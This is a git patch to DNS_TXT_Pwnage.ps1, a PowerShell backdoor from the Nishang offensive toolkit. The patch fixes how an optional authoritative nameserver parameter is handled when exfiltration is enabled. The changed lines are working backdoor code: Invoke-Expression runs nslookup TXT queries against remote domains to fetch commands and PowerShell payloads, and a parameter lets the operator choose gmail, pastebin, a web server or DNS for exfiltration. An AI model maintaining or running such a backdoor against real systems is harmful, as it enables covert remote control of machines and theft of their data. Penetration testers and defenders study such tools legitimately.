From 64a45408d029e6e8fe6351769da0329f88cea1e0 Mon Sep 17 00:00:00 2001 From: georgemulder Date: Tue, 5 Sep 2023 09:49:20 +0200 Subject: [PATCH] DNS_TXT_Pwnage bug when exfil and no authns especified. #96 --- Backdoors/DNS_TXT_Pwnage.ps1 | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/Backdoors/DNS_TXT_Pwnage.ps1 b/Backdoors/DNS_TXT_Pwnage.ps1 index d9a5c36..e9b63af 100644 --- a/Backdoors/DNS_TXT_Pwnage.ps1 +++ b/Backdoors/DNS_TXT_Pwnage.ps1 @@ -157,7 +157,7 @@ https://github.com/samratashok/nishang [Parameter(Position = 8, Mandatory = $False, Parametersetname="exfil")] [Parameter(Position = 8, Mandatory = $False, Parametersetname="noexfil")] - [String]$AuthNS, + [String]$AuthNS = "null", [Parameter(Position = 9, Mandatory = $False, Parametersetname="exfil")] [ValidateSet("gmail","pastebin","WebServer","DNS")] [String] @@ -196,8 +196,7 @@ function DNS-TXT-Logic ($Startdomain, $cmdstring, $commanddomain, $psstring, $ps { $exec = 0 start-sleep -seconds 5 - - if ($AuthNS -ne $null) + if ($AuthNS -ne "null") { $getcode = (Invoke-Expression "nslookup -querytype=txt $startdomain $AuthNS") } @@ -211,7 +210,7 @@ function DNS-TXT-Logic ($Startdomain, $cmdstring, $commanddomain, $psstring, $ps { start-sleep -seconds 5 - if ($AuthNS -ne $null) + if ($AuthNS -ne "null") { $getcommand = (Invoke-Expression "nslookup -querytype=txt $commanddomain $AuthNS") } @@ -242,7 +241,7 @@ function DNS-TXT-Logic ($Startdomain, $cmdstring, $commanddomain, $psstring, $ps while ($i -le $subdomains) { - if ($AuthNS -ne $null) + if ($AuthNS -ne "null") { $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$psdomain $AuthNS") }